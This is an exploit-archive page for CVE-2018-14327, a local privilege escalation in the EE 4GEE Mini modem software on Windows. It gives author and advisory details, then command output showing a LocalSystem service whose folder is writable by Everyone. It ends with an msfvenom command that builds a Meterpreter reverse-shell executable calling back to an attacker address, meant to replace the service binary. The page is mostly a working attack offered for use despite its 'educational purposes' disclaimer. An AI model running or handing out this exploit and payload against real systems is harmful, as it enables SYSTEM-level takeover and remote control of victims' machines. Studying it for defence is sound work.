Ee 4gee mini ee40_00_02.00_44 privilege escalation Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2018-09-27 | Type : local | Platform : windows
This exploit / vulnerability Ee 4gee mini ee40_00_02.00_44 privilege escalation is for educational purposes only and if it is used you will do on your own risk!

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# Title: EE 4GEE Mini EE40_00_02.00_44 - Privilege Escalation
# Date: 2018-09-22
# Software Version: EE40_00_02.00_44
# Tested on: Windows 10 64-bit and Windows 7 64-bit
# Exploit Author: Osanda Malith Jayathissa (@OsandaMalith)
# Original Advisory: http://blog.zerodaylab.com/2018/09/zerodaylab-discovers-ee-unquoted.html
# Original Write-up: https://osandamalith.com/2018/09/17/ee-4gee-mini-local-privilege-escalation-vulnerability-cve-2018-14327/
# CVE: CVE-2018-14327
# References
# https://www.theregister.co.uk/2018/09/19/ee_modem_vuln/
# https://thehackernews.com/2018/09/4g-ee-wifi-modem-hack.html

# PoC

C:\>sc qc "Alcatel OSPREY3_MINI Modem Device Helper"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Alcatel OSPREY3_MINI Modem Device Helper
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Web Connecton\EE40\BackgroundService\ServiceManager.exe -start
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Alcatel OSPREY3_MINI Modem Device Helper
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem


# Weak Folder Permissions

C:\Program Files (x86)\Web Connecton>icacls EE40
EE40 Everyone:(OI)(CI)(F)
NT SERVICE\TrustedInstaller:(I)(F)
NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(RX)
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)

Successfully processed 1 files; Failed processing 0 files

C:\Program Files (x86)\Web Connecton>
C:\Program Files (x86)\Web Connecton>
C:\Program Files (x86)\Web Connecton>icacls EE40\BackgroundService
EE40\BackgroundService Everyone:(OI)(CI)(F)
Everyone:(I)(OI)(CI)(F)
NT SERVICE\TrustedInstaller:(I)(F)
NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(RX)
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)

Successfully processed 1 files; Failed processing 0 files

# Example Payload

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.4 lport=443 -f exe -o rev_shell.exe